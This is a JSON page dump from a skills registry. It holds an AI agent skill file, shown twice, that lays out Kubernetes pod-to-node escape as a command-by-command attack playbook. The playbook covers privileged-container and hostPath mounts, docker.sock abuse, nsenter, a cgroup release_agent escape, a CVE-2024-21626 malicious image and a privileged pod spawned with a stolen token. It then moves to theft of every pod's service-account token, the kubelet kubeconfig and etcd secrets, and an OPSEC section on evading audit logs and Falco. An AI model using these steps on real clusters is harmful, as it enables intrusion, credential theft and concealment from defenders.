[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DF9ZZD830BVVN9XESM7APC":3,"skill-same:01M7DF9ZZD830BVVN9XESM7APC":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DF9ZZD830BVVN9XESM7APC","k8s-pod-escape",null,"Kubernetes pod escape to node — privileged container abuse, hostPath mount escape, hostPID\u002FhostIPC, capability misuse (SYS_ADMIN, SYS_PTRACE), runC CVE chains. Pivots from RCE-in-pod to full node compromise.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fcontainer\u002Fk8s-pod-escape\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: k8s-pod-escape\ndescription: \"Kubernetes pod escape to node — privileged container abuse, hostPath mount escape, hostPID\u002FhostIPC, capability misuse (SYS_ADMIN, SYS_PTRACE), runC CVE chains. Pivots from RCE-in-pod to full node compromise.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"kubernetes k8s pod escape container break out hostpath privileged hostpid hostipc capabilities cgroups runc cve-2022-0185 cve-2024-21626 leaky vessels\"\n  subdomain: cloud-native\n  tags: kubernetes, container-escape, privilege-escalation, hostpath\n  mitre_attack: T1611, T1068, T1610\n---\n\n# Kubernetes Pod Escape to Node\n\nYou have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.\n\n## Phase 1: Enumerate the container\n\n```bash\n# Identify how you're contained\ncat \u002Fproc\u002Fself\u002Fstatus | grep -E '^(Cap|Seccomp|NoNewPriv)'\ncat \u002Fproc\u002F1\u002Fstatus | grep -i cap\nmount | grep -E 'cgroup|hostpath|\u002Fvar\u002Frun\u002Fdocker.sock|\u002Fvar\u002Frun\u002Fcrio'\nls -la \u002Fdev | head -20\nid\nhostname\n\n# Service-account token\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken | head -c 60\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace\n\n# Token + APIserver — confirm you can talk to the API\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\ncurl -sk -H \"Authorization: Bearer $TOKEN\" https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\u002Fdefault\u002Fpods\n```\n\n## Phase 2: Detect escape primitives (check each, escalate via the first that works)\n\n### 2.1 Privileged container\n\n```bash\n# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\n# 0000003fffffffff or \"ALL\" → you're privileged. \u002Fdev\u002Fsda1, \u002Fdev\u002Fkmsg etc are visible.\nls -la \u002Fdev\u002Fsda* \u002Fdev\u002Fnvme*\n\n# Mount host filesystem:\nmkdir \u002Fmnt\u002Fhost\nmount \u002Fdev\u002Fsda1 \u002Fmnt\u002Fhost          # adjust device — `lsblk` to confirm\nchroot \u002Fmnt\u002Fhost \u002Fbin\u002Fbash\n# Now you're root on the node.\n```\n\n### 2.2 hostPath mount to \u002F or \u002Fetc or \u002Fvar\u002Frun\u002Fdocker.sock\n\n```bash\n# Look for suspicious mounts\nmount | grep -E '\u002Fhost|\u002Fnode|docker.sock|\u002Fetc|\u002Froot'\n# \u002Fvar\u002Flib\u002Fkubelet mounted? You can read every other pod's secrets.\nls \u002Fvar\u002Flib\u002Fkubelet\u002Fpods\u002F*\u002Fvolumes\u002Fkubernetes.io~secret\u002F 2>\u002Fdev\u002Fnull\n\n# \u002Fvar\u002Frun\u002Fdocker.sock or \u002Frun\u002Fcontainerd\u002Fcontainerd.sock mounted = node compromise\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run --rm -it --privileged -v \u002F:\u002Fhost alpine chroot \u002Fhost\nctr -a \u002Frun\u002Fcontainerd\u002Fcontainerd.sock run --rm -t --privileged --mount type=bind,src=\u002F,dst=\u002Fhost,options=rbind alpine escape sh -c 'chroot \u002Fhost'\n```\n\n### 2.3 hostPID + SYS_PTRACE (no privileged needed)\n\n```bash\n# hostPID lets you see all node processes\nps auxf | head\n# SYS_PTRACE in CapEff lets you inject into them\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\n# 0000000000080000 includes CAP_SYS_PTRACE\n\n# Find a host-side root process and inject a shell\nnsenter -t 1 -m -u -i -n -p sh\n# 'nsenter -t 1' enters PID 1's namespaces — that's the host's init on a node with hostPID\n```\n\n### 2.4 CAP_SYS_ADMIN without --privileged\n\n```bash\n# Common in CI\u002FCD runners (Docker-in-Docker patterns)\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus   # 00000000a82425fb or similar with bit 21 set\n\n# cgroup_release_agent escape (kernel \u003C 5.8 on hosts without user-NS isolation)\nmkdir \u002Ftmp\u002Fx && mount -t cgroup -o memory cgroup \u002Ftmp\u002Fx\necho 1 > \u002Ftmp\u002Fx\u002Fnotify_on_release\nhost_path=$(sed -n 's\u002F.*\\perdir=\\([^,]*\\).*\u002F\\1\u002Fp' \u002Fetc\u002Fmtab)\necho \"$host_path\u002Fcmd\" > \u002Ftmp\u002Fx\u002Frelease_agent\ncat > \u002Fcmd \u003C\u003C'EOF'\n#!\u002Fbin\u002Fsh\nip a > \u002Ftmp\u002Fhost_ip\nid > \u002Ftmp\u002Fhost_id\nEOF\nchmod +x \u002Fcmd\nsh -c \"echo \\$\\$ > \u002Ftmp\u002Fx\u002Fcgroup.procs\"\n# \u002Ftmp\u002Fhost_id now contains the HOST's id output\n```\n\n### 2.5 runC CVE chain (CVE-2024-21626 \"Leaky Vessels\")\n\nIf runC \u003C 1.1.12 \u002F Docker \u003C 25.0.3 \u002F containerd \u003C 1.7.13: WORKDIR + symlink trickery lets a malicious image escape. Check node runC version via the kubelet API or by reading `\u002Fetc\u002Fdocker\u002Fversion` if exposed.\n\n```bash\n# Build a malicious image\ncat > Dockerfile \u003C\u003C'EOF'\nFROM scratch\nWORKDIR \u002Fproc\u002Fself\u002Ffd\u002F8\nENTRYPOINT [\"\u002Fbin\u002Fsh\"]\nEOF\ndocker build -t evil .\n# Then run on target node — the WORKDIR points fd 8 (an open kernel FD) → host FS access\ndocker run --rm -it evil\n```\n\n### 2.6 Service-account token → API server abuse\n\nIf the SA has `pods\u002Fexec` on a privileged pod or `nodes\u002Fproxy` on the node:\n\n```bash\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\n# List privileged pods\ncurl -sk -H \"Authorization: Bearer $TOKEN\" \\\n  https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fpods?fieldSelector=spec.securityContext.privileged=true\n\n# Or: SA has `create pods` on kube-system → run a privileged pod yourself\nkubectl --token=\"$TOKEN\" --server=https:\u002F\u002Fkubernetes.default.svc \\\n  --insecure-skip-tls-verify run pwn --image=alpine \\\n  --overrides='{\"spec\":{\"hostPID\":true,\"hostNetwork\":true,\"containers\":[{\"name\":\"pwn\",\"image\":\"alpine\",\"command\":[\"nsenter\",\"-t\",\"1\",\"-m\",\"-u\",\"-i\",\"-n\",\"-p\",\"sh\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"\u002Fhost\",\"name\":\"host\"}]}],\"volumes\":[{\"name\":\"host\",\"hostPath\":{\"path\":\"\u002F\"}}]}}'\n```\n\n## Phase 3: Post-escape on node\n\nOnce you're on the node, pivot to the cluster:\n\n```bash\n# Steal every pod's SA token\nfind \u002Fvar\u002Flib\u002Fkubelet\u002Fpods\u002F*\u002Fvolumes\u002Fkubernetes.io~secret\u002F*\u002Ftoken -exec cat {} \\; -exec echo --- \\;\n\n# Steal kubelet kubeconfig (cluster-admin-equivalent on many clusters)\ncat \u002Fetc\u002Fkubernetes\u002Fkubelet.conf\n\n# Read all pod secrets from etcd if running on a master node\nETCDCTL_API=3 etcdctl --endpoints=127.0.0.1:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fhealthcheck-client.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fhealthcheck-client.key \\\n  get \u002F --prefix --keys-only | grep secrets\n```\n\n## OPSEC\n\n- Pod escapes generate AppArmor \u002F SELinux \u002F seccomp denials. Check `dmesg | tail` for telemetry.\n- Kubernetes audit log records every API call from your stolen tokens. Use the existing pod's token for low-noise enumeration before forging new tokens.\n- Falco rules detect `nsenter`, `mount` from container, and `chroot` outside the container. Quiet variants: write the payload to a host-shared volume and exec from a benign-looking process name.\n\n## References\n\n- Trail of Bits \"Leaky Vessels\" writeup — CVE-2024-21626 \u002F CVE-2024-23651 \u002F CVE-2024-23652 \u002F CVE-2024-23653\n- DEFCON 29 \"Kubernetes Goat\" — Madhu Akula\n- BountyHunter rule sets — Trivy, Kubescape, Kube-Hunter for defender perspective\n","# Kubernetes Pod Escape to Node\n\nYou have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.\n\n## Phase 1: Enumerate the container\n\n```bash\n# Identify how you're contained\ncat \u002Fproc\u002Fself\u002Fstatus | grep -E '^(Cap|Seccomp|NoNewPriv)'\ncat \u002Fproc\u002F1\u002Fstatus | grep -i cap\nmount | grep -E 'cgroup|hostpath|\u002Fvar\u002Frun\u002Fdocker.sock|\u002Fvar\u002Frun\u002Fcrio'\nls -la \u002Fdev | head -20\nid\nhostname\n\n# Service-account token\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken | head -c 60\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fnamespace\n\n# Token + APIserver — confirm you can talk to the API\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\ncurl -sk -H \"Authorization: Bearer $TOKEN\" https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\u002Fdefault\u002Fpods\n```\n\n## Phase 2: Detect escape primitives (check each, escalate via the first that works)\n\n### 2.1 Privileged container\n\n```bash\n# Privileged = full host kernel access. CapEff: 0000003fffffffff is the giveaway.\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\n# 0000003fffffffff or \"ALL\" → you're privileged. \u002Fdev\u002Fsda1, \u002Fdev\u002Fkmsg etc are visible.\nls -la \u002Fdev\u002Fsda* \u002Fdev\u002Fnvme*\n\n# Mount host filesystem:\nmkdir \u002Fmnt\u002Fhost\nmount \u002Fdev\u002Fsda1 \u002Fmnt\u002Fhost          # adjust device — `lsblk` to confirm\nchroot \u002Fmnt\u002Fhost \u002Fbin\u002Fbash\n# Now you're root on the node.\n```\n\n### 2.2 hostPath mount to \u002F or \u002Fetc or \u002Fvar\u002Frun\u002Fdocker.sock\n\n```bash\n# Look for suspicious mounts\nmount | grep -E '\u002Fhost|\u002Fnode|docker.sock|\u002Fetc|\u002Froot'\n# \u002Fvar\u002Flib\u002Fkubelet mounted? You can read every other pod's secrets.\nls \u002Fvar\u002Flib\u002Fkubelet\u002Fpods\u002F*\u002Fvolumes\u002Fkubernetes.io~secret\u002F 2>\u002Fdev\u002Fnull\n\n# \u002Fvar\u002Frun\u002Fdocker.sock or \u002Frun\u002Fcontainerd\u002Fcontainerd.sock mounted = node compromise\ndocker -H unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock run --rm -it --privileged -v \u002F:\u002Fhost alpine chroot \u002Fhost\nctr -a \u002Frun\u002Fcontainerd\u002Fcontainerd.sock run --rm -t --privileged --mount type=bind,src=\u002F,dst=\u002Fhost,options=rbind alpine escape sh -c 'chroot \u002Fhost'\n```\n\n### 2.3 hostPID + SYS_PTRACE (no privileged needed)\n\n```bash\n# hostPID lets you see all node processes\nps auxf | head\n# SYS_PTRACE in CapEff lets you inject into them\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus\n# 0000000000080000 includes CAP_SYS_PTRACE\n\n# Find a host-side root process and inject a shell\nnsenter -t 1 -m -u -i -n -p sh\n# 'nsenter -t 1' enters PID 1's namespaces — that's the host's init on a node with hostPID\n```\n\n### 2.4 CAP_SYS_ADMIN without --privileged\n\n```bash\n# Common in CI\u002FCD runners (Docker-in-Docker patterns)\ngrep CapEff \u002Fproc\u002Fself\u002Fstatus   # 00000000a82425fb or similar with bit 21 set\n\n# cgroup_release_agent escape (kernel \u003C 5.8 on hosts without user-NS isolation)\nmkdir \u002Ftmp\u002Fx && mount -t cgroup -o memory cgroup \u002Ftmp\u002Fx\necho 1 > \u002Ftmp\u002Fx\u002Fnotify_on_release\nhost_path=$(sed -n 's\u002F.*\\perdir=\\([^,]*\\).*\u002F\\1\u002Fp' \u002Fetc\u002Fmtab)\necho \"$host_path\u002Fcmd\" > \u002Ftmp\u002Fx\u002Frelease_agent\ncat > \u002Fcmd \u003C\u003C'EOF'\n#!\u002Fbin\u002Fsh\nip a > \u002Ftmp\u002Fhost_ip\nid > \u002Ftmp\u002Fhost_id\nEOF\nchmod +x \u002Fcmd\nsh -c \"echo \\$\\$ > \u002Ftmp\u002Fx\u002Fcgroup.procs\"\n# \u002Ftmp\u002Fhost_id now contains the HOST's id output\n```\n\n### 2.5 runC CVE chain (CVE-2024-21626 \"Leaky Vessels\")\n\nIf runC \u003C 1.1.12 \u002F Docker \u003C 25.0.3 \u002F containerd \u003C 1.7.13: WORKDIR + symlink trickery lets a malicious image escape. Check node runC version via the kubelet API or by reading `\u002Fetc\u002Fdocker\u002Fversion` if exposed.\n\n```bash\n# Build a malicious image\ncat > Dockerfile \u003C\u003C'EOF'\nFROM scratch\nWORKDIR \u002Fproc\u002Fself\u002Ffd\u002F8\nENTRYPOINT [\"\u002Fbin\u002Fsh\"]\nEOF\ndocker build -t evil .\n# Then run on target node — the WORKDIR points fd 8 (an open kernel FD) → host FS access\ndocker run --rm -it evil\n```\n\n### 2.6 Service-account token → API server abuse\n\nIf the SA has `pods\u002Fexec` on a privileged pod or `nodes\u002Fproxy` on the node:\n\n```bash\nTOKEN=$(cat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken)\n# List privileged pods\ncurl -sk -H \"Authorization: Bearer $TOKEN\" \\\n  https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fpods?fieldSelector=spec.securityContext.privileged=true\n\n# Or: SA has `create pods` on kube-system → run a privileged pod yourself\nkubectl --token=\"$TOKEN\" --server=https:\u002F\u002Fkubernetes.default.svc \\\n  --insecure-skip-tls-verify run pwn --image=alpine \\\n  --overrides='{\"spec\":{\"hostPID\":true,\"hostNetwork\":true,\"containers\":[{\"name\":\"pwn\",\"image\":\"alpine\",\"command\":[\"nsenter\",\"-t\",\"1\",\"-m\",\"-u\",\"-i\",\"-n\",\"-p\",\"sh\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"\u002Fhost\",\"name\":\"host\"}]}],\"volumes\":[{\"name\":\"host\",\"hostPath\":{\"path\":\"\u002F\"}}]}}'\n```\n\n## Phase 3: Post-escape on node\n\nOnce you're on the node, pivot to the cluster:\n\n```bash\n# Steal every pod's SA token\nfind \u002Fvar\u002Flib\u002Fkubelet\u002Fpods\u002F*\u002Fvolumes\u002Fkubernetes.io~secret\u002F*\u002Ftoken -exec cat {} \\; -exec echo --- \\;\n\n# Steal kubelet kubeconfig (cluster-admin-equivalent on many clusters)\ncat \u002Fetc\u002Fkubernetes\u002Fkubelet.conf\n\n# Read all pod secrets from etcd if running on a master node\nETCDCTL_API=3 etcdctl --endpoints=127.0.0.1:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fhealthcheck-client.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fhealthcheck-client.key \\\n  get \u002F --prefix --keys-only | grep secrets\n```\n\n## OPSEC\n\n- Pod escapes generate AppArmor \u002F SELinux \u002F seccomp denials. Check `dmesg | tail` for telemetry.\n- Kubernetes audit log records every API call from your stolen tokens. Use the existing pod's token for low-noise enumeration before forging new tokens.\n- Falco rules detect `nsenter`, `mount` from container, and `chroot` outside the container. Quiet variants: write the payload to a host-shared volume and exec from a benign-looking process name.\n\n## References\n\n- Trail of Bits \"Leaky Vessels\" writeup — CVE-2024-21626 \u002F CVE-2024-23651 \u002F CVE-2024-23652 \u002F CVE-2024-23653\n- DEFCON 29 \"Kubernetes Goat\" — Madhu Akula\n- BountyHunter rule sets — Trivy, Kubescape, Kube-Hunter for defender perspective\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"kubernetes, container-escape, privilege-escalation, hostpath","cloud-native","kubernetes k8s pod escape container break out hostpath privileged hostpid hostipc capabilities cgroups runc cve-2022-0185 cve-2024-21626 leaky vessels","T1611, T1068, T1610","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fcontainer\u002Fk8s-pod-escape","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill k8s-pod-escape",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill k8s-pod-escape",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill k8s-pod-escape","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fcontainer\u002Fk8s-pod-escape\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]